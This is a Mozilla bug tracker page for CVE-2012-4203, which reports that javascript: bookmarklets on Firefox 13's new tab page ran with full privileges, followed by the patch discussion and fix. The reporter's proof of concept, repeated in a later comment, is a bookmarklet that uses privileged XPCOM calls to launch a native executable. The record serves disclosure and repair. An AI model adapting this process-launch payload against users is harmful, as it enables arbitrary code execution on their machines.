The default bug view has changed. See this FAQ.
Bug 765628 (CVE-2012-4203)

Bookmarklets on the new tab page are able to run privileged javascript

RESOLVED FIXED in Firefox 17

Status

()

Firefox
General
RESOLVED FIXED
5 years ago
3 years ago

People

(Reporter: kakzz.ng, Assigned: ttaubert)

Tracking

(Depends on: 1 bug, {sec-moderate})

13 Branch
Firefox 17
sec-moderate
Points:
---
Dependency tree / graph

Firefox Tracking Flags

(firefox15 affected, firefox16 affected, firefox17+ fixed, firefox-esr10 unaffected)

Details

(Whiteboard: [social engineering][adv-track-main17+])

Attachments

(2 attachments, 1 obsolete attachment)

(Reporter)

Description

5 years ago
Created attachment 633930 [details]
calc.html

User Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0
Build ID: 20120601173958

Steps to reproduce:

Clicking a javascript: url from the new tab page will run the script with full privileges. These javascript: urls are frequently used as 'bookmarklets' to run small javascript snippets. Were a malicious party able to socially engineer a user to bookmark a javscript bookmarklet and add it to the new FF13 "new tab page", when the user clicked the link from the new tab page privileged javascript would run.

The following is an example of privileged javascript which runs gcalctool on ubuntu: 

'javascript:var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);file.initWithPath("/usr/bin/gcalctool");var process = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);process.init(file);var args = [];process.run(false, args, args.length);'

adding that url as a bookmark and launching it from the new tab page will run the native gcalctool executable. (For windows, change the path to a windows executable.)

I've attached a html page which demonstrates the steps a user would have to take.

I've marked the bug as security sensitive as bookmarklets are widely used.

Only tested on 32-bit firefox 13 running on ubuntu.
Attachment #633930 - Attachment mime type: text/plain → text/html
I can't get this to work on Firefox 13 on OS X. I can add it to the quick-launch cell on the new tab page but it cannot be opened from there.
(Reporter)

Comment 2

5 years ago
Did you change the path to be the path to a valid executable on OS X? The example above will try to run the executable /usr/bin/gcalctool, which is probably not present in OS X.

I don't have a mac, but maybe this path will work: /Applications/Calculator.app/Contents/MacOS/Calculator ?

Similarly for windows (at least on XP): C:\WINDOWS\system32\calc.exe

Of course, you don't have to open a calculator, you can do anything privileged javascript can do.
Ah, I wasn't paying attention to that line in the bookmarklet. Yeah, this is bad. :-)
Status: UNCONFIRMED → NEW
Ever confirmed: true
(Verified in Firefox 13.0.1)
Hrm, I don't understand why this wouldn't have been fixed by bug 723808. Perhaps because of the way newtab loads URLs...
Component: Untriaged → General
QA Contact: untriaged → general
Ah, so I think the newtab just inserts the links as normal <a href="">s. Which means that we probably have an explicit owner for the load (the current page), and so don't go through the "find an owner to inherit from" code that was changed by bug 723808?
So... I can't reproduce.  In a debug trunk build, I get no script execution and a logged message about there being no principal to execute with, as expected per bug 723808.  In Firefox 13, I just get nothing happening, when using this bookmarklet:

javascript:var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);file.initWithPath("/Applications/Calculator.app/Contents/MacOS/Calculator");var process = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);process.init(file);var args = [];process.run(false, args, args.length);

I did verify that the path involved, on its own, launches a calculator.

Al, did you reproduce with Firefox 13?
Ah.  I was clicking the button in the bookmarks toolbar.  Yeah, if you stick the URI in the page there will be no inheritance involved at all, so bug 723808 does not help.  What should probably happen is that adding a quick-launch cell should CheckLoadURI at least with DISALLOW_INHERIT_OWNER, and possibly with some sort of not-too-trusted source principal.  Do we want to allow dragging file:// URIs in there?  I guess we do...
One could argue this is a power-user feature rather than a vulnerability, but I guess we should fix it because power-users have other options (a chrome scratchpad, for example) and this is plausible social-engineering target.
Keywords: sec-moderate
Whiteboard: social engineering
Just adding a checkLoadURI call with DISALLOW_INHERIT_PRINCIPAL before adding pages to newtab sounds reasonable to me.

Tim, do you want to take this?
(Assignee)

Comment 11

5 years ago
Yes, taking.
Assignee: nobody → ttaubert
Status: NEW → ASSIGNED
OS: Linux → All
Hardware: x86 → All
(Assignee)

Comment 12

5 years ago
Created attachment 635532 [details] [diff] [review]
patch v1

Using checkLoadURIWithPrincipal(DISALLOW_INHERIT_PRINCIPAL) to decide whether to accept external drags.
Attachment #635532 - Flags: review?(gavin.sharp)
Comment on attachment 635532 [details] [diff] [review]
patch v1

spoke to Tim on IRC - approach looks fine, but we should have this apply to all links, not just drag&drop
Attachment #635532 - Flags: review?(gavin.sharp) → review-
(Assignee)

Comment 14

5 years ago
Created attachment 636057 [details] [diff] [review]
patch v2

Preventing 'bad links' from being dropped onto the grid and from appearing on the grid when included in history query results.

I included a test case for drag and drop. I couldn't really test the PlacesProvider filtering as that depends on bug 765235 being fixed.
Attachment #635532 - Attachment is obsolete: true
Attachment #636057 - Flags: review?(gavin.sharp)
(Assignee)

Comment 15

5 years ago
Just for reference, there is bug 739387 which seems to have some interest at least. Should the new tab page have been implemented as non-privileged (just like about:home) and communicate via messages to allow the inclusion of javascript: links?

Shouldn't be too hard to register it with the JSM in BrowserOnAboutPageLoad() and use messages to communicate with it.
I just duped that to bug 728313, but yeah, if that's an easy fix I think it'd be a nice solution to these issues!
(Assignee)

Comment 17

5 years ago
(In reply to :Gavin Sharp (use gavin@gavinsharp.com for email) from comment #16)
> I just duped that to bug 728313, but yeah, if that's an easy fix I think
> it'd be a nice solution to these issues!

Took a quick stab at it today and looks like it's not as easy as I thought. I have no idea how to communicate between the content script and the actual web page. Also, unprivileged XUL files don't load as they're considered remote XUL.
Comment on attachment 636057 [details] [diff] [review]
patch v2

Can you add a test for the PlacesProvider path? (I assume you've ensured that the drop test fails without the fix).

Duplicating the "extract URL" code from _pinDraggedSite in isValid is sub-optimal, can we factor that out somehow?
Attachment #636057 - Flags: review?(gavin.sharp) → review+
(Assignee)

Comment 19

5 years ago
(In reply to :Gavin Sharp (use gavin@gavinsharp.com for email) from comment #18)
> Can you add a test for the PlacesProvider path? (I assume you've ensured
> that the drop test fails without the fix).

Yes, the drop test fails without the fix. As per conversation on IRC: we can't test the PlacesProvider path as the navigation history will not allow us to add 'bad' links to it.

> Duplicating the "extract URL" code from _pinDraggedSite in isValid is
> sub-optimal, can we factor that out somehow?

Created a gDragDataHelper that contains this part of the code now.
(Assignee)

Comment 20

5 years ago
https://hg.mozilla.org/integration/fx-team/rev/c119555cd89a
Whiteboard: social engineering → [social engineering][fixed-in-fx-team]
(Assignee)

Comment 21

5 years ago
https://hg.mozilla.org/mozilla-central/rev/c119555cd89a
Status: ASSIGNED → RESOLVED
Last Resolved: 5 years ago
Resolution: --- → FIXED
Whiteboard: [social engineering][fixed-in-fx-team] → [social engineering]
Target Milestone: --- → Firefox 17
status-firefox-esr10: --- → unaffected
status-firefox15: --- → affected
status-firefox16: --- → affected
status-firefox17: --- → fixed
tracking-firefox17: --- → +
(Assignee)

Updated

5 years ago
Depends on: 790911
Keywords: verifyme
Whiteboard: [social engineering] → [social engineering][adv-track-main17+]
Alias: CVE-2012-4203
Group: core-security

Updated

4 years ago
Depends on: 901586
mass remove verifyme requests greater than 4 months old
Keywords: verifyme
You need to log in before you can comment on or make changes to this bug.